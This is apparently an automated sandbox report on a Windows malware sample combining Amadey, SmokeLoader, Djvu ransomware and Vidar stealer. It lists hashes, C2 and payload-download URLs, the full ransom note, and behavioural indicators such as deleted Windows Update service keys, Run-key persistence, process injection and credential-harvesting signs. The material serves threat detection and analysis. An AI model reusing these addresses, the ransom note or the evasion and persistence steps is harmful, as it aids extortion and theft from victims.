amadey | 38f5b0f0838959b0bf68118948d122351c7c6b0552f685845020bff02b7ebc56

Analysis

max time kernel
148s
max time network
151s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
03-04-2023 07:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

38f5b0f0838959b0bf68118948d122351c7c6b0552f685845020bff02b7ebc56.exe
Size

195KB
MD5

3349c2e4e4f25c4fb3d8e732249cadc5
SHA1

a28cdb234a22f8f49c2149d178c944819ee425fc
SHA256

38f5b0f0838959b0bf68118948d122351c7c6b0552f685845020bff02b7ebc56
SHA512

8e656f5ca09a7f9b88dd6098b041947bebe4eb326e97ff1fc6ed1def171563600afa63f14fd6ce13179da278256d7bc78839208c412b58743f5e30db18a0d1f3
SSDEEP

3072:D6gBIJZhQyJp6MI3fmaIkkCjx7yMcGPSzkBHS5/2:rYZhJ6v7IkkCjx7fvCkBw

Score

10^/10

amadey djvu smokeloader vidar 5df88deb5dde677ba658b77ad5f60248 pub1 backdoor discovery evasion persistence ransomware spyware stealer trojan

Malware Config

Extracted

Family

smokeloader

Version

2022

http://potunulit.org/

http://hutnilior.net/

http://bulimu55t.net/

http://soryytlic4.net/

http://novanosa5org.org/

http://nuljjjnuli.org/

http://tolilolihul.net/

http://somatoka51hub.net/

http://hujukui3.net/

http://bukubuka1.net/

http://golilopaster.org/

http://newzelannd66.org/

http://otriluyttn.org/

http://aapu.at/tmp/

http://poudineh.com/tmp/

http://firsttrusteedrx.ru/tmp/

http://kingpirate.ru/tmp/

rc4.i32

Extracted

Family

djvu

http://zexeq.com/lancer/get.php

Attributes

extension
.nitz
offline_id
FCP2fiITr4rryFhFBnA59GMgwES5CunmcbPc76t1
payload_url
http://uaery.top/dl/build2.exe
http://zexeq.com/files/1/build3.exe
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-v8HcfXTy5x Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0680SUjhw

rsa_pubkey.plain

Extracted

Family

smokeloader

Botnet

pub1

Extracted

Family

vidar

Version

3.2

Botnet

5df88deb5dde677ba658b77ad5f60248

https://steamcommunity.com/profiles/76561199489580435

https://t.me/tabootalks

Attributes

profile_id_v2
5df88deb5dde677ba658b77ad5f60248
user_agent
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 OPR/91.0.4516.79

Extracted

Family

amadey

Version

3.65

77.73.134.27/8bmdh3Slb2/index.php

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detected Djvu ransomware 36 IoCs

Processes:

resource	yara_rule
behavioral1/memory/3824-139-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3824-141-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2612-142-0x00000000022B0000-0x00000000023CB000-memory.dmp	family_djvu
behavioral1/memory/3824-143-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4356-147-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4356-148-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3824-149-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4356-150-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3824-162-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1520-167-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1520-168-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1520-173-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1520-174-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1520-179-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3860-183-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3860-184-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3860-186-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3860-195-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1520-204-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1520-202-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1520-205-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2140-209-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2140-213-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2140-217-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2140-221-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2140-220-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2140-225-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2140-226-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2140-223-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1520-233-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2140-234-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/1520-242-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2140-299-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4356-394-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4912-402-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4912-480-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

Processes:

XandETC.exeupdater.exe

description	pid	process	target process
PID 4172 created 2332	4172	XandETC.exe	Explorer.EXE
PID 4172 created 2332	4172	XandETC.exe	Explorer.EXE
PID 4172 created 2332	4172	XandETC.exe	Explorer.EXE
PID 4172 created 2332	4172	XandETC.exe	Explorer.EXE
PID 4172 created 2332	4172	XandETC.exe	Explorer.EXE
PID 4008 created 2332	4008	updater.exe	Explorer.EXE
PID 4008 created 2332	4008	updater.exe	Explorer.EXE
PID 4008 created 2332	4008	updater.exe	Explorer.EXE
PID 4008 created 2332	4008	updater.exe	Explorer.EXE

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Blocklisted process makes network request 2 IoCs

Processes:

rundll32.exe

flow pid process

83 2604 rundll32.exe
84 2604 rundll32.exe
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Deletes itself 1 IoCs

Processes:

Explorer.EXE

pid process

2332 Explorer.EXE

flow	pid	process
83	2604	rundll32.exe
84	2604	rundll32.exe

pid	process
2332	Explorer.EXE

Executes dropped EXE 35 IoCs

Processes:

25A8.exe282A.exe25A8.exe282A.exe25A8.exe25A8.exe3DC6.exe3DC6.exe427A.exe4402.exe3DC6.exe3DC6.exebuild2.exebuild2.exebuild3.exebuild2.exe614F.exebuild2.exePlayer3.exess31.exebuild3.exeXandETC.exenbveek.exe73BF.exePlayer3.exe282A.exe282A.exemstsca.exenbveek.exebuild2.exebuild2.exebuild3.exeD141.exeupdater.exenbveek.exe

pid	process
2612	25A8.exe
2820	282A.exe
3824	25A8.exe
4356	282A.exe
2264	25A8.exe
1520	25A8.exe
4460	3DC6.exe
3860	3DC6.exe
364	427A.exe
4832	4402.exe
4836	3DC6.exe
2140	3DC6.exe
3184	build2.exe
4984	build2.exe
4292	build3.exe
3496	build2.exe
4304	614F.exe
4280	build2.exe
220	Player3.exe
1404	ss31.exe
656	build3.exe
4172	XandETC.exe
2012	nbveek.exe
4716	73BF.exe
3968	Player3.exe
4120	282A.exe
4912	282A.exe
4432	mstsca.exe
852	nbveek.exe
312	build2.exe
2572	build2.exe
3480	build3.exe
1436	D141.exe
4008	updater.exe
2452	nbveek.exe

Loads dropped DLL 11 IoCs

Processes:

build2.exebuild2.exerundll32.exerundll32.exerundll32.exerundll32.exebuild2.exe

pid	process
4984	build2.exe
4984	build2.exe
4280	build2.exe
4280	build2.exe
2604	rundll32.exe
2604	rundll32.exe
4744	rundll32.exe
5048	rundll32.exe
5076	rundll32.exe
2572	build2.exe
2572	build2.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

1080 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1080	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

25A8.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\894c65ac-f2c8-4424-ac30-1256258b7b9a\\25A8.exe\" --AutoStart"	25A8.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

11 api.2ip.ua
12 api.2ip.ua
23 api.2ip.ua
29 api.2ip.ua
35 api.2ip.ua
60 api.2ip.ua
10 api.2ip.ua

flow	ioc
11	api.2ip.ua
12	api.2ip.ua
23	api.2ip.ua
29	api.2ip.ua
35	api.2ip.ua
60	api.2ip.ua
10	api.2ip.ua

Drops file in System32 directory 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of SetThreadContext 10 IoCs

Processes:

25A8.exe282A.exe25A8.exe3DC6.exe3DC6.exebuild2.exebuild2.exe282A.exebuild2.exerundll32.exe

description	pid	process	target process
PID 2612 set thread context of 3824	2612	25A8.exe	25A8.exe
PID 2820 set thread context of 4356	2820	282A.exe	282A.exe
PID 2264 set thread context of 1520	2264	25A8.exe	25A8.exe
PID 4460 set thread context of 3860	4460	3DC6.exe	3DC6.exe
PID 4836 set thread context of 2140	4836	3DC6.exe	3DC6.exe
PID 3184 set thread context of 4984	3184	build2.exe	build2.exe
PID 3496 set thread context of 4280	3496	build2.exe	build2.exe
PID 4120 set thread context of 4912	4120	282A.exe	282A.exe
PID 312 set thread context of 2572	312	build2.exe	build2.exe
PID 2604 set thread context of 648	2604	rundll32.exe	rundll32.exe

Drops file in Program Files directory 1 IoCs

Processes:

XandETC.exe

description ioc process

File created C:\Program Files\Notepad\Chrome\updater.exe XandETC.exe
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

5016 sc.exe
404 sc.exe
168 sc.exe
1644 sc.exe
3316 sc.exe
2700 sc.exe
1436 sc.exe
212 sc.exe
260 sc.exe
3764 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

3236 4832 WerFault.exe 4402.exe
4820 4716 WerFault.exe 73BF.exe
752 5048 WerFault.exe rundll32.exe

description	ioc	process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe

pid	process
5016	sc.exe
404	sc.exe
168	sc.exe
1644	sc.exe
3316	sc.exe
2700	sc.exe
1436	sc.exe
212	sc.exe
260	sc.exe
3764	sc.exe

pid	pid_target	process	target process
3236	4832	WerFault.exe	4402.exe
4820	4716	WerFault.exe	73BF.exe
752	5048	WerFault.exe	rundll32.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

38f5b0f0838959b0bf68118948d122351c7c6b0552f685845020bff02b7ebc56.exe427A.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	38f5b0f0838959b0bf68118948d122351c7c6b0552f685845020bff02b7ebc56.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	38f5b0f0838959b0bf68118948d122351c7c6b0552f685845020bff02b7ebc56.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	427A.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	427A.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	427A.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	38f5b0f0838959b0bf68118948d122351c7c6b0552f685845020bff02b7ebc56.exe

Checks processor information in registry 2 TTPs 26 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exebuild2.exebuild2.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	rundll32.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier	rundll32.exe

Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

4196 schtasks.exe
2920 schtasks.exe
2432 schtasks.exe
360 schtasks.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3464 timeout.exe
1436 timeout.exe

pid	process
4196	schtasks.exe
2920	schtasks.exe
2432	schtasks.exe
360	schtasks.exe

pid	process
3464	timeout.exe
1436	timeout.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

Processes:

Explorer.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe

Modifies registry class 36 IoCs

Processes:

rundll32.exeExplorer.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	rundll32.exe
